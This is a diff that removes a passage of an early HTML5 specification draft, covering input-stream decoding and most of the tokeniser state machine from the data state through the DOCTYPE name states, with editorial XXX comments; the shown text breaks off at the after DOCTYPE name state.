-  <p>The stream of Unicode characters that consists the input to the
-   tokenisation stage will be initially seen by the user agent as a stream of
-   bytes (typically coming over the network or from the local file system).
-   The bytes encode the actual characters according to a particular
-   <em>character encoding</em>, which the user agent must use to decode the
-   bytes into characters.
-
-  <p id=documentEncoding>For HTML, user agents must use the following
-   algorithm in determining the character encoding of a document:
-
-  <ol>
-   <li>If the transport layer specifies an encoding, use that.
-
-   <li>Otherwise, if the user agent can find a <code><a
-    href="#meta1">meta</a></code> element that <a href="#charset">specifies
-    character encoding information</a>, then use that. (The exact parsing
-    rules for finding and using this information are not yet described in
-    this specification.) <span class=big-issue>This needs to be fleshed out a
-    whole heck of a lot more.</span></li>
-   <!-- XXX -->
-
-   <li>Otherwise, the user agent may attempt to autodetect the character
-    encoding from applying frequency analysis or other algorithms to the data
-    stream. If autodetection succeeds in determining a character encoding,
-    then use that.</li>
-   <!-- is it a
-   parse error to reach this step? XXX -->
-
-   <li>Otherwise, use an implementation-defined or user-specified default
-    character encoding (<code>ISO-8859-1</code>, <code>windows-1252</code>,
-    and <code>UTF-8</code> are recommended as defaults, and can in many cases
-    be identified by inspection as they have different ranges of valid
-    bytes).</li>
-   <!-- only default
-   to win1252? XXX -->
-  </ol>
-
-  <p class=note>For XML documents, the algorithm user agents must use to
-   determine the character encoding is given by the XML specification. This
-   section does not apply to XML documents. <a href="#refsXML">[XML]</a>
-
-  <p>Bytes or sequences of bytes in the original byte stream that could not
-   be converted to Unicode characters must be converted to U+FFFD REPLACEMENT
-   CHARACTER code points.
-
-  <p>A leading U+FEFF BYTE ORDER MARK (BOM) must be dropped if present.
-
-  <p>All U+0000 NULL characters in the input must be replaced by U+FFFD
-   REPLACEMENT CHARACTERs.
-
-  <p>U+000D CARRIAGE RETURN (CR) characters, and U+000A LINE FEED (LF)
-   characters, are treated specially. Any CR characters that are followed by
-   LF characters must be removed, and any CR characters not followed by LF
-   characters must be converted to LF characters. Thus, newlines in HTML DOMs
-   are represented by LF characters, and there are never any CR characters in
-   the input to the <a href="#tokenisation1">tokenisation</a> stage.
-
-  <p>The <dfn id=next-input>next input character</dfn> is the first character
-   in the input stream that has not yet been <dfn id=consumed>consumed</dfn>.
-   Initially, the <em><a href="#next-input">next input character</a></em> is
-   the first character in the input.
-
-  <p>The <dfn id=insertion>insertion point</dfn> is the position (just before
-   a character or just before the end of the input stream) where content
-   inserted using <code title=dom-document-write-HTML><a
-   href="#document.write0">document.write()</a></code> is actually inserted.
-   The insertion point is relative to the position of the character
-   immediately after it, it is not an absolute offset into the input stream.
-   Initially, the insertion point is uninitialised.
-
-  <p>The "EOF" character in the tables below is a conceptual character
-   representing the end of the <a href="#input0">input stream</a>. If the
-   parser is a <a href="#script-created">script-created parser</a>, then the
-   end of the <a href="#input0">input stream</a> is reached when an <dfn
-   id=explicit>explicit "EOF" character</dfn> (inserted by the <code
-   title=dom-document-close><a href="#close">document.close()</a></code>
-   method) is consumed. Otherwise, the "EOF" charecter is not a real
-   character in the stream, but rather the lack of any further characters.
-
-  <h4 id=tokenisation><span class=secno>8.2.3. </span><dfn
-   id=tokenisation1>Tokenisation</dfn></h4>
-
-  <p>Implementations must act as if they used the following state machine to
-   tokenise HTML. The state machine must start in the <a
-   href="#data-state">data state</a>. Most states consume a single character,
-   which may have various side-effects, and either switches the state machine
-   to a new state to <em>reconsume</em> the same character, or switches it to
-   a new state (to consume the next character), or repeats the same state (to
-   consume the next character). Some states have more complicated behaviour
-   and can consume several characters before switching to another state.
-
-  <p>The exact behaviour of certain states depends on a <dfn
-   id=content2>content model flag</dfn> that is set after certain tokens are
-   emitted. The flag has several states: <em title="">PCDATA</em>, <em
-   title="">RCDATA</em>, <em title="">CDATA</em>, and <em
-   title="">PLAINTEXT</em>. Initially it is in the PCDATA state.
-
-  <p>The output of the tokenisation step is a series of zero or more of the
-   following tokens: DOCTYPE, start tag, end tag, comment, character,
-   end-of-file. DOCTYPE tokens have names and can be either correct or in
-   error. Start and end tag tokens have a tagname and a list of attributes,
-   each of which has a name and a value. Comment and character tokens have
-   data.
-
-  <p>When a token is emitted, it must immediately be handled by the <a
-   href="#tree-construction1">tree construction</a> stage. The tree
-   construction stage can affect the state of the <a href="#content2">content
-   model flag</a>, and can insert additional characters into the stream. (For
-   example, the <code><a href="#script2">script</a></code> element can result
-   in scripts executing and using the <a href="#dynamic3">dynamic markup
-   insertion</a> APIs to insert characters into the stream being tokenised.)
-
-  <p>Before each step of the tokeniser, the user agent must check to see if
-   any scripts are ready. <span class=big-issue>...</span></p>
-  <!--
-                        <p>While there are any entries in the <span>list of scripts that
-                        will execute as soon as possible</span>, follow these steps:</p>
-
-                        <ol>
-
-                         <li>Wait until the script associated with the first element in
-                         that list has finished loading.</li>
-
-                         <li><span title="how to execute a script block">Execute the
-                         script</span> associated with the first element in the list.</li>
-
-                         <li></li>
-
-                        </ol>
-
-                    -->
-
-  <dl>
-   <dt><dfn id=data-state>Data state</dfn>
-
-   <dd>
-    <p>Consume the <a href="#next-input">next input character</a>:</p>
-
-    <dl class=switch>
-     <dt>U+0026 AMPERSAND (AMPERSANDamp;)
-
-     <dd>When the <a href="#content2">content model flag</a> is set to one of
-      the PCDATA or RCDATA states: switch to the <a href="#entity">entity
-      data state</a>.
-
-     <dd>Otherwise: treat it as per the "anything else" entry below.
-
-     <dt>U+003C LESS-THAN SIGN (AMPERSANDlt;)
-
-     <dd>When the <a href="#content2">content model flag</a> is set to a
-      state other than the PLAINTEXT state: switch to the <a
-      href="#tag-open">tag open state</a>.
-
-     <dd>Otherwise: treat it as per the "anything else" entry below.
-
-     <dt>EOF
-
-     <dd>Emit an end-of-file token.
-
-     <dt>Anything else
-
-     <dd>Emit the input character as a character token. Stay in the <a
-      href="#data-state">data state</a>.
-    </dl>
-
-   <dt><dfn id=entity>Entity data state</dfn>
-
-   <dd>
-    <p><em>(This cannot happen if the <a href="#content2">content model
-     flag</a> is set to the CDATA state.)</em></p>
-
-    <p>Attempt to <a href="#consume">consume an entity</a>.</p>
-
-    <p>If nothing is returned, emit a U+0026 AMPERSAND character token.</p>
-
-    <p>Otherwise, emit the character token that was returned.</p>
-
-    <p>Finally, switch to the <a href="#data-state">data state</a>.</p>
-
-   <dt><dfn id=tag-open>Tag open state</dfn>
-
-   <dd>
-    <p>The behaviour of this state depends on the <a href="#content2">content
-     model flag</a>.</p>
-
-    <dl>
-     <dt>If the <a href="#content2">content model flag</a> is set to the
-      RCDATA or CDATA states
-
-     <dd>
-      <p>If the <a href="#next-input">next input character</a> is a U+002F
-       SOLIDUS (/) character, consume it and switch to the <a
-       href="#close1">close tag open state</a>. If the <a
-       href="#next-input">next input character</a> is not a U+002F SOLIDUS
-       (/) character, emit a U+003C LESS-THAN SIGN character token and
-       reconsume the current input character in the <a
-       href="#data-state">data state</a>.</p>
-
-     <dt>If the <a href="#content2">content model flag</a> is set to the
-      PCDATA state
-
-     <dd>
-      <p>Consume the <a href="#next-input">next input character</a>:</p>
-
-      <dl class=switch>
-       <dt>U+0021 EXCLAMATION MARK (!)
-
-       <dd>Switch to the <a href="#markup">markup declaration open state</a>.
-
-       <dt>U+002F SOLIDUS (/)
-
-       <dd>Switch to the <a href="#close1">close tag open state</a>.
-
-       <dt>U+0041 LATIN CAPITAL LETTER A through to U+005A LATIN CAPITAL
-        LETTER Z
-
-       <dd>Create a new start tag token, set its tag name to the lowercase
-        version of the input character (add 0x0020 to the character's code
-        point), then switch to the <a href="#tag-name0">tag name state</a>.
-        (Don't emit the token yet; further details will be filled in before
-        it is emitted.)
-
-       <dt>U+0061 LATIN SMALL LETTER A through to U+007A LATIN SMALL LETTER Z
-
-       <dd>Create a new start tag token, set its tag name to the input
-        character, then switch to the <a href="#tag-name0">tag name
-        state</a>. (Don't emit the token yet; further details will be filled
-        in before it is emitted.)
-
-       <dt>U+003E GREATER-THAN SIGN (AMPERSANDgt;)
-
-       <dd><a href="#parse">Parse error</a>. Emit a U+003C LESS-THAN SIGN
-        character token and a U+003E GREATER-THAN SIGN character token.
-        Switch to the <a href="#data-state">data state</a>.
-
-       <dt>U+003F QUESTION MARK (?)
-
-       <dd><a href="#parse">Parse error</a>. Switch to the <a
-        href="#bogus">bogus comment state</a>.
-
-       <dt>Anything else
-
-       <dd><a href="#parse">Parse error</a>. Emit a U+003C LESS-THAN SIGN
-        character token and reconsume the current input character in the <a
-        href="#data-state">data state</a>.
-      </dl>
-    </dl>
-
-   <dt><dfn id=close1>Close tag open state</dfn>
-
-   <dd>
-    <p>If the <a href="#content2">content model flag</a> is set to the RCDATA
-     or CDATA states then examine the next few characters. If they do not
-     match the tag name of the last start tag token emitted (case
-     insensitively), or if they do but they are not immediately followed by
-     one of the following characters:</p>
-
-    <ul class=brief>
-     <li>U+0009 CHARACTER TABULATION
-
-     <li>U+000A LINE FEED (LF)
-
-     <li>U+000B LINE TABULATION
-
-     <li>U+000C FORM FEED (FF)</li>
-     <!--<li>U+000D CARRIAGE RETURN (CR)</li>-->
-
-     <li>U+0020 SPACE
-
-     <li>U+003E GREATER-THAN SIGN (AMPERSANDgt;)
-
-     <li>U+002F SOLIDUS (/)
-
-     <li>U+003C LESS-THAN SIGN (AMPERSANDlt;)
-
-     <li>EOF
-    </ul>
-
-    <p>...then there is a <a href="#parse">parse error</a>. Emit a U+003C
-     LESS-THAN SIGN character token, a U+002F SOLIDUS character token, and
-     reconsume the current input character in the <a href="#data-state">data
-     state</a>.</p>
-
-    <p>Otherwise, if the <a href="#content2">content model flag</a> is set to
-     the PCDATA state, or if the next few characters <em>do</em> match that
-     tag name, consume the <a href="#next-input">next input character</a>:</p>
-
-    <dl class=switch>
-     <dt>U+0041 LATIN CAPITAL LETTER A through to U+005A LATIN CAPITAL LETTER
-      Z
-
-     <dd>Create a new end tag token, set its tag name to the lowercase
-      version of the input character (add 0x0020 to the character's code
-      point), then switch to the <a href="#tag-name0">tag name state</a>.
-      (Don't emit the token yet; further details will be filled in before it
-      is emitted.)
-
-     <dt>U+0061 LATIN SMALL LETTER A through to U+007A LATIN SMALL LETTER Z
-
-     <dd>Create a new end tag token, set its tag name to the input character,
-      then switch to the <a href="#tag-name0">tag name state</a>. (Don't emit
-      the token yet; further details will be filled in before it is emitted.)
-
-     <dt>U+003E GREATER-THAN SIGN (AMPERSANDgt;)
-
-     <dd><a href="#parse">Parse error</a>. Switch to the <a
-      href="#data-state">data state</a>.
-
-     <dt>EOF
-
-     <dd><a href="#parse">Parse error</a>. Emit a U+003C LESS-THAN SIGN
-      character token and a U+002F SOLIDUS character token. Reconsume the EOF
-      character in the <a href="#data-state">data state</a>.
-
-     <dt>Anything else
-
-     <dd><a href="#parse">Parse error</a>. Switch to the <a
-      href="#bogus">bogus comment state</a>.
-    </dl>
-
-   <dt><dfn id=tag-name0>Tag name state</dfn>
-
-   <dd>
-    <p>Consume the <a href="#next-input">next input character</a>:</p>
-
-    <dl class=switch>
-     <dt>U+0009 CHARACTER TABULATION
-
-     <dt>U+000A LINE FEED (LF)
-
-     <dt>U+000B LINE TABULATION
-
-     <dt>U+000C FORM FEED (FF)</dt>
-     <!--<dt>U+000D CARRIAGE RETURN (CR)</dt>-->
-
-     <dt>U+0020 SPACE
-
-     <dd>Switch to the <a href="#before">before attribute name state</a>.
-
-     <dt>U+003E GREATER-THAN SIGN (AMPERSANDgt;)
-
-     <dd>Emit the current tag token. Switch to the <a href="#data-state">data
-      state</a>.
-
-     <dt>U+0041 LATIN CAPITAL LETTER A through to U+005A LATIN CAPITAL LETTER
-      Z
-
-     <dd>Append the lowercase version of the current input character (add
-      0x0020 to the character's code point) to the current tag token's tag
-      name. Stay in the <a href="#tag-name0">tag name state</a>.
-
-     <dt>U+003C LESS-THAN SIGN (AMPERSANDlt;)
-
-     <dt>EOF
-
-     <dd><a href="#parse">Parse error</a>. Emit the current tag token.
-      Reconsume the character in the <a href="#data-state">data state</a>.
-
-     <dt>U+002F SOLIDUS (/)
-
-     <dd><a href="#parse">Parse error</a> unless this is a <a
-      href="#permitted">permitted slash</a>. Switch to the <a
-      href="#before">before attribute name state</a>.
-
-     <dt>Anything else
-
-     <dd>Append the current input character to the current tag token's tag
-      name. Stay in the <a href="#tag-name0">tag name state</a>.
-    </dl>
-
-   <dt><dfn id=before>Before attribute name state</dfn>
-
-   <dd>
-    <p>Consume the <a href="#next-input">next input character</a>:</p>
-
-    <dl class=switch>
-     <dt>U+0009 CHARACTER TABULATION
-
-     <dt>U+000A LINE FEED (LF)
-
-     <dt>U+000B LINE TABULATION
-
-     <dt>U+000C FORM FEED (FF)</dt>
-     <!--<dt>U+000D CARRIAGE RETURN (CR)</dt>-->
-
-     <dt>U+0020 SPACE
-
-     <dd>Stay in the <a href="#before">before attribute name state</a>.
-
-     <dt>U+003E GREATER-THAN SIGN (AMPERSANDgt;)
-
-     <dd>Emit the current tag token. Switch to the <a href="#data-state">data
-      state</a>.
-
-     <dt>U+0041 LATIN CAPITAL LETTER A through to U+005A LATIN CAPITAL LETTER
-      Z
-
-     <dd>Start a new attribute in the current tag token. Set that attribute's
-      name to the lowercase version of the current input character (add
-      0x0020 to the character's code point), and its value to the empty
-      string. Switch to the <a href="#attribute1">attribute name state</a>.
-
-     <dt>U+002F SOLIDUS (/)
-
-     <dd><a href="#parse">Parse error</a> unless this is a <a
-      href="#permitted">permitted slash</a>. Stay in the <a
-      href="#before">before attribute name state</a>.
-
-     <dt>U+003C LESS-THAN SIGN (AMPERSANDlt;)
-
-     <dt>EOF
-
-     <dd><a href="#parse">Parse error</a>. Emit the current tag token.
-      Reconsume the character in the <a href="#data-state">data state</a>.
-
-     <dt>Anything else
-
-     <dd>Start a new attribute in the current tag token. Set that attribute's
-      name to the current input character, and its value to the empty string.
-      Switch to the <a href="#attribute1">attribute name state</a>.
-    </dl>
-
-   <dt><dfn id=attribute1>Attribute name state</dfn>
-
-   <dd>
-    <p>Consume the <a href="#next-input">next input character</a>:</p>
-
-    <dl class=switch>
-     <dt>U+0009 CHARACTER TABULATION
-
-     <dt>U+000A LINE FEED (LF)
-
-     <dt>U+000B LINE TABULATION
-
-     <dt>U+000C FORM FEED (FF)</dt>
-     <!--<dt>U+000D CARRIAGE RETURN (CR)</dt>-->
-
-     <dt>U+0020 SPACE
-
-     <dd>Switch to the <a href="#after">after attribute name state</a>.
-
-     <dt>U+003D EQUALS SIGN (=)
-
-     <dd>Switch to the <a href="#before0">before attribute value state</a>.
-
-     <dt>U+003E GREATER-THAN SIGN (AMPERSANDgt;)
-
-     <dd>Emit the current tag token. Switch to the <a href="#data-state">data
-      state</a>.
-
-     <dt>U+0041 LATIN CAPITAL LETTER A through to U+005A LATIN CAPITAL LETTER
-      Z
-
-     <dd>Append the lowercase version of the current input character (add
-      0x0020 to the character's code point) to the current attribute's name.
-      Stay in the <a href="#attribute1">attribute name state</a>.
-
-     <dt>U+002F SOLIDUS (/)
-
-     <dd><a href="#parse">Parse error</a> unless this is a <a
-      href="#permitted">permitted slash</a>. Switch to the <a
-      href="#before">before attribute name state</a>.
-
-     <dt>U+003C LESS-THAN SIGN (AMPERSANDlt;)
-
-     <dt>EOF
-
-     <dd><a href="#parse">Parse error</a>. Emit the current tag token.
-      Reconsume the character in the <a href="#data-state">data state</a>.
-
-     <dt>Anything else
-
-     <dd>Append the current input character to the current attribute's name.
-      Stay in the <a href="#attribute1">attribute name state</a>.
-    </dl>
-
-    <p>When the user agent leaves the attribute name state (and before
-     emitting the tag token, if appropriate), the complete attribute's name
-     must be compared to the other attributes on the same token; if there is
-     already an attribute on the token with the exact same name, then this is
-     a <a href="#parse">parse error</a> and the new attribute must be
-     dropped, along with the value that gets associated with it (if any).</p>
-
-   <dt><dfn id=after>After attribute name state</dfn>
-
-   <dd>
-    <p>Consume the <a href="#next-input">next input character</a>:</p>
-
-    <dl class=switch>
-     <dt>U+0009 CHARACTER TABULATION
-
-     <dt>U+000A LINE FEED (LF)
-
-     <dt>U+000B LINE TABULATION
-
-     <dt>U+000C FORM FEED (FF)</dt>
-     <!--<dt>U+000D CARRIAGE RETURN (CR)</dt>-->
-
-     <dt>U+0020 SPACE
-
-     <dd>Stay in the <a href="#after">after attribute name state</a>.
-
-     <dt>U+003D EQUALS SIGN (=)
-
-     <dd>Switch to the <a href="#before0">before attribute value state</a>.
-
-     <dt>U+003E GREATER-THAN SIGN (AMPERSANDgt;)
-
-     <dd>Emit the current tag token. Switch to the <a href="#data-state">data
-      state</a>.
-
-     <dt>U+0041 LATIN CAPITAL LETTER A through to U+005A LATIN CAPITAL LETTER
-      Z
-
-     <dd>Start a new attribute in the current tag token. Set that attribute's
-      name to the lowercase version of the current input character (add
-      0x0020 to the character's code point), and its value to the empty
-      string. Switch to the <a href="#attribute1">attribute name state</a>.
-
-     <dt>U+002F SOLIDUS (/)
-
-     <dd><a href="#parse">Parse error</a> unless this is a <a
-      href="#permitted">permitted slash</a>. Switch to the <a
-      href="#before">before attribute name state</a>.
-
-     <dt>U+003C LESS-THAN SIGN (AMPERSANDlt;)
-
-     <dt>EOF
-
-     <dd><a href="#parse">Parse error</a>. Emit the current tag token.
-      Reconsume the character in the <a href="#data-state">data state</a>.
-
-     <dt>Anything else
-
-     <dd>Start a new attribute in the current tag token. Set that attribute's
-      name to the current input character, and its value to the empty string.
-      Switch to the <a href="#attribute1">attribute name state</a>.
-    </dl>
-
-   <dt><dfn id=before0>Before attribute value state</dfn>
-
-   <dd>
-    <p>Consume the <a href="#next-input">next input character</a>:</p>
-
-    <dl class=switch>
-     <dt>U+0009 CHARACTER TABULATION
-
-     <dt>U+000A LINE FEED (LF)
-
-     <dt>U+000B LINE TABULATION
-
-     <dt>U+000C FORM FEED (FF)</dt>
-     <!--<dt>U+000D CARRIAGE RETURN (CR)</dt>-->
-
-     <dt>U+0020 SPACE
-
-     <dd>Stay in the <a href="#before0">before attribute value state</a>.
-
-     <dt>U+0022 QUOTATION MARK (AMPERSANDquot;)
-
-     <dd>Switch to the <a href="#attribute2">attribute value (double-quoted)
-      state</a>.
-
-     <dt>U+0026 AMPERSAND (AMPERSANDamp;)
-
-     <dd>Switch to the <a href="#attribute4">attribute value (unquoted)
-      state</a> and reconsume this input character.
-
-     <dt>U+0027 APOSTROPHE (')
-
-     <dd>Switch to the <a href="#attribute3">attribute value (single-quoted)
-      state</a>.
-
-     <dt>U+003E GREATER-THAN SIGN (AMPERSANDgt;)
-
-     <dd>Emit the current tag token. Switch to the <a href="#data-state">data
-      state</a>.
-
-     <dt>U+003C LESS-THAN SIGN (AMPERSANDlt;)
-
-     <dt>EOF
-
-     <dd><a href="#parse">Parse error</a>. Emit the current tag token.
-      Reconsume the character in the <a href="#data-state">data state</a>.
-
-     <dt>Anything else
-
-     <dd>Append the current input character to the current attribute's value.
-      Switch to the <a href="#attribute4">attribute value (unquoted)
-      state</a>.
-    </dl>
-
-   <dt><dfn id=attribute2>Attribute value (double-quoted) state</dfn>
-
-   <dd>
-    <p>Consume the <a href="#next-input">next input character</a>:</p>
-
-    <dl class=switch>
-     <dt>U+0022 QUOTATION MARK (AMPERSANDquot;)
-
-     <dd>Switch to the <a href="#before">before attribute name state</a>.
-
-     <dt>U+0026 AMPERSAND (AMPERSANDamp;)
-
-     <dd>Switch to the <a href="#entity0">entity in attribute value
-      state</a>.
-
-     <dt>EOF
-
-     <dd><a href="#parse">Parse error</a>. Emit the current tag token.
-      Reconsume the character in the <a href="#data-state">data state</a>.
-
-     <dt>Anything else
-
-     <dd>Append the current input character to the current attribute's value.
-      Stay in the <a href="#attribute2">attribute value (double-quoted)
-      state</a>.
-    </dl>
-
-   <dt><dfn id=attribute3>Attribute value (single-quoted) state</dfn>
-
-   <dd>
-    <p>Consume the <a href="#next-input">next input character</a>:</p>
-
-    <dl class=switch>
-     <dt>U+0027 APOSTROPHE (')
-
-     <dd>Switch to the <a href="#before">before attribute name state</a>.
-
-     <dt>U+0026 AMPERSAND (AMPERSANDamp;)
-
-     <dd>Switch to the <a href="#entity0">entity in attribute value
-      state</a>.
-
-     <dt>EOF
-
-     <dd><a href="#parse">Parse error</a>. Emit the current tag token.
-      Reconsume the character in the <a href="#data-state">data state</a>.
-
-     <dt>Anything else
-
-     <dd>Append the current input character to the current attribute's value.
-      Stay in the <a href="#attribute3">attribute value (single-quoted)
-      state</a>.
-    </dl>
-
-   <dt><dfn id=attribute4>Attribute value (unquoted) state</dfn>
-
-   <dd>
-    <p>Consume the <a href="#next-input">next input character</a>:</p>
-
-    <dl class=switch>
-     <dt>U+0009 CHARACTER TABULATION
-
-     <dt>U+000A LINE FEED (LF)
-
-     <dt>U+000B LINE TABULATION
-
-     <dt>U+000C FORM FEED (FF)</dt>
-     <!--<dt>U+000D CARRIAGE RETURN (CR)</dt>-->
-
-     <dt>U+0020 SPACE
-
-     <dd>Switch to the <a href="#before">before attribute name state</a>.
-
-     <dt>U+0026 AMPERSAND (AMPERSANDamp;)
-
-     <dd>Switch to the <a href="#entity0">entity in attribute value
-      state</a>.
-
-     <dt>U+003E GREATER-THAN SIGN (AMPERSANDgt;)
-
-     <dd>Emit the current tag token. Switch to the <a href="#data-state">data
-      state</a>.
-
-     <dt>U+003C LESS-THAN SIGN (AMPERSANDlt;)
-
-     <dt>EOF
-
-     <dd><a href="#parse">Parse error</a>. Emit the current tag token.
-      Reconsume the character in the <a href="#data-state">data state</a>.
-
-     <dt>Anything else
-
-     <dd>Append the current input character to the current attribute's value.
-      Stay in the <a href="#attribute4">attribute value (unquoted) state</a>.
-    </dl>
-
-   <dt><dfn id=entity0>Entity in attribute value state</dfn>
-
-   <dd>
-    <p>Attempt to <a href="#consume">consume an entity</a>.</p>
-
-    <p>If nothing is returned, append a U+0026 AMPERSAND character to the
-     current attribute's value.</p>
-
-    <p>Otherwise, append the returned character token to the current
-     attribute's value.</p>
-
-    <p>Finally, switch back to the attribute value state that you were in
-     when were switched into this state.</p>
-
-   <dt><dfn id=bogus>Bogus comment state</dfn>
-
-   <dd>
-    <p><em>(This can only happen if the <a href="#content2">content model
-     flag</a> is set to the PCDATA state.)</em></p>
-
-    <p>Consume every character up to the first U+003E GREATER-THAN SIGN
-     character (AMPERSANDgt;) or the end of the file (EOF), whichever comes first.
-     Emit a comment token whose data is the concatenation of all the
-     characters starting from and including the character that caused the
-     state machine to switch into the bogus comment state, up to and
-     including the last consumed character before the U+003E character, if
-     any, or up to the end of the file otherwise. (If the comment was started
-     by the end of the file (EOF), the token is empty.)</p>
-
-    <p>Switch to the <a href="#data-state">data state</a>.</p>
-
-    <p>If the end of the file was reached, reconsume the EOF character.</p>
-
-   <dt><dfn id=markup>Markup declaration open state</dfn>
-
-   <dd>
-    <p><em>(This can only happen if the <a href="#content2">content model
-     flag</a> is set to the PCDATA state.)</em></p>
-
-    <p>If the next two characters are both U+002D HYPHEN-MINUS (-)
-     characters, consume those two characters, create a comment token whose
-     data is the empty string, and switch to the <a href="#comment">comment
-     state</a>.</p>
-
-    <p>Otherwise if the next seven chacacters are a
-     <span>case-insensitive</span><!-- XXX xref, ascii only --> match for the
-     word "DOCTYPE", then consume those characters and switch to the <a
-     href="#doctype0">DOCTYPE state</a>.</p>
-
-    <p>Otherwise, is is a <a href="#parse">parse error</a>. Switch to the <a
-     href="#bogus">bogus comment state</a>. The next character that is
-     consumed, if any, is the first character that will be in the comment.</p>
-
-   <dt><dfn id=comment>Comment state</dfn>
-
-   <dd>
-    <p>Consume the <a href="#next-input">next input character</a>:</p>
-
-    <dl class=switch>
-     <dt>U+002D HYPHEN-MINUS (-)
-
-     <dd>Switch to the <a href="#comment0">comment dash state</a>
-
-     <dt>EOF
-
-     <dd><a href="#parse">Parse error</a>. Emit the comment token. Reconsume
-      the EOF character in the <a href="#data-state">data state</a>.</dd>
-     <!-- For
-     security reasons: otherwise, hostile user could put a <script> in
-     a comment e.g. in a blog comment and then DOS the server so that
-     the end tag isn't read, and then the commented <script> tag would
-     be treated as live code -->
-
-     <dt>Anything else
-
-     <dd>Append the input character to the comment token's data. Stay in the
-      <a href="#comment">comment state</a>.
-    </dl>
-
-   <dt><dfn id=comment0>Comment dash state</dfn>
-
-   <dd>
-    <p>Consume the <a href="#next-input">next input character</a>:</p>
-
-    <dl class=switch>
-     <dt>U+002D HYPHEN-MINUS (-)
-
-     <dd>Switch to the <a href="#comment1">comment end state</a>
-
-     <dt>EOF
-
-     <dd><a href="#parse">Parse error</a>. Emit the comment token. Reconsume
-      the EOF character in the <a href="#data-state">data state</a>.</dd>
-     <!-- For
-     security reasons: otherwise, hostile user could put a <script> in
-     a comment e.g. in a blog comment and then DOS the server so that
-     the end tag isn't read, and then the commented <script> tag would
-     be treated as live code -->
-
-     <dt>Anything else
-
-     <dd>Append a U+002D HYPHEN-MINUS (-) character and the input character
-      to the comment token's data. Switch to the <a href="#comment">comment
-      state</a>.
-    </dl>
-
-   <dt><dfn id=comment1>Comment end state</dfn>
-
-   <dd>
-    <p>Consume the <a href="#next-input">next input character</a>:</p>
-
-    <dl class=switch>
-     <dt>U+003E GREATER-THAN SIGN (AMPERSANDgt;)
-
-     <dd>Emit the comment token. Switch to the <a href="#data-state">data
-      state</a>.
-
-     <dt>U+002D HYPHEN-MINUS (-)
-
-     <dd><a href="#parse">Parse error</a>. Append a U+002D HYPHEN-MINUS (-)
-      character to the comment token's data. Stay in the <a
-      href="#comment1">comment end state</a>.
-
-     <dt>EOF
-
-     <dd><a href="#parse">Parse error</a>. Emit the comment token. Reconsume
-      the EOF character in the <a href="#data-state">data state</a>.</dd>
-     <!-- For
-     security reasons: otherwise, hostile user could put a <script> in
-     a comment e.g. in a blog comment and then DOS the server so that
-     the end tag isn't read, and then the commented <script> tag would
-     be treated as live code -->
-
-     <dt>Anything else
-
-     <dd><a href="#parse">Parse error</a>. Append two U+002D HYPHEN-MINUS (-)
-      characters and the input character to the comment token's data. Switch
-      to the <a href="#comment">comment state</a>.
-    </dl>
-
-   <dt><dfn id=doctype0>DOCTYPE state</dfn>
-
-   <dd>
-    <p>Consume the <a href="#next-input">next input character</a>:</p>
-
-    <dl class=switch>
-     <dt>U+0009 CHARACTER TABULATION
-
-     <dt>U+000A LINE FEED (LF)
-
-     <dt>U+000B LINE TABULATION
-
-     <dt>U+000C FORM FEED (FF)</dt>
-     <!--<dt>U+000D CARRIAGE RETURN (CR)</dt>-->
-
-     <dt>U+0020 SPACE
-
-     <dd>Switch to the <a href="#before1">before DOCTYPE name state</a>.
-
-     <dt>Anything else
-
-     <dd><a href="#parse">Parse error</a>. Reconsume the current character in
-      the <a href="#before1">before DOCTYPE name state</a>.
-    </dl>
-
-   <dt><dfn id=before1>Before DOCTYPE name state</dfn>
-
-   <dd>
-    <p>Consume the <a href="#next-input">next input character</a>:</p>
-
-    <dl class=switch>
-     <dt>U+0009 CHARACTER TABULATION
-
-     <dt>U+000A LINE FEED (LF)
-
-     <dt>U+000B LINE TABULATION
-
-     <dt>U+000C FORM FEED (FF)</dt>
-     <!--<dt>U+000D CARRIAGE RETURN (CR)</dt>-->
-
-     <dt>U+0020 SPACE
-
-     <dd>Stay in the <a href="#before1">before DOCTYPE name state</a>.
-
-     <dt>U+0061 LATIN SMALL LETTER A through to U+007A LATIN SMALL LETTER Z
-
-     <dd>Create a new DOCTYPE token. Set the token's name name to the
-      uppercase version of the current input character (subtract 0x0020 from
-      the character's code point), and mark it as being in error. Switch to
-      the <a href="#doctype1">DOCTYPE name state</a>.
-
-     <dt>U+003E GREATER-THAN SIGN (AMPERSANDgt;)
-
-     <dd><a href="#parse">Parse error</a>. Emit a DOCTYPE token whose name is
-      the empty string and that is marked as being in error. Switch to the <a
-      href="#data-state">data state</a>.
-
-     <dt>EOF
-
-     <dd><a href="#parse">Parse error</a>. Emit a DOCTYPE token whose name is
-      the empty string and that is marked as being in error. Reconsume the
-      EOF character in the <a href="#data-state">data state</a>.
-
-     <dt>Anything else
-
-     <dd>Create a new DOCTYPE token. Set the token's name name to the current
-      input character, and mark it as being in error. Switch to the <a
-      href="#doctype1">DOCTYPE name state</a>.
-    </dl>
-
-   <dt><dfn id=doctype1>DOCTYPE name state</dfn>
-
-   <dd>
-    <p>First, consume the <a href="#next-input">next input character</a>:</p>
-
-    <dl class=switch>
-     <dt>U+0009 CHARACTER TABULATION
-
-     <dt>U+000A LINE FEED (LF)
-
-     <dt>U+000B LINE TABULATION
-
-     <dt>U+000C FORM FEED (FF)</dt>
-     <!--<dt>U+000D CARRIAGE RETURN (CR)</dt>-->
-
-     <dt>U+0020 SPACE
-
-     <dd>Switch to the <a href="#after0">after DOCTYPE name state</a>.
-
-     <dt>U+003E GREATER-THAN SIGN (AMPERSANDgt;)
-
-     <dd>Emit the current DOCTYPE token. Switch to the <a
-      href="#data-state">data state</a>.
-
-     <dt>U+0061 LATIN SMALL LETTER A through to U+007A LATIN SMALL LETTER Z
-
-     <dd>Append the uppercase version of the current input character
-      (subtract 0x0020 from the character's code point) to the current
-      DOCTYPE token's name. Stay in the <a href="#doctype1">DOCTYPE name
-      state</a>.
-
-     <dt>EOF
-
-     <dd><a href="#parse">Parse error</a>. Emit the current DOCTYPE token.
-      Reconsume the EOF character in the <a href="#data-state">data
-      state</a>.
-
-     <dt>Anything else
-
-     <dd>Append the current input character to the current DOCTYPE token's
-      name. Stay in the <a href="#doctype1">DOCTYPE name state</a>.
-    </dl>
-
-    <p>Then, if the name of the DOCTYPE token is exactly the four letters
-     "HTML", then mark the token as being correct. Otherwise, mark it as
-     being in error.</p>
-
-    <p class=note>Because lowercase letters in the name are uppercased by the
-     algorithm above, the "HTML" letters are actually case-insensitive
-     relative to the markup.</p>
-
-   <dt><dfn id=after0>After DOCTYPE name state</dfn>
-
-   <dd>
-    <p>Consume the <a href="#next-input">next input character</a>:</p>
-
-    <dl class=switch>
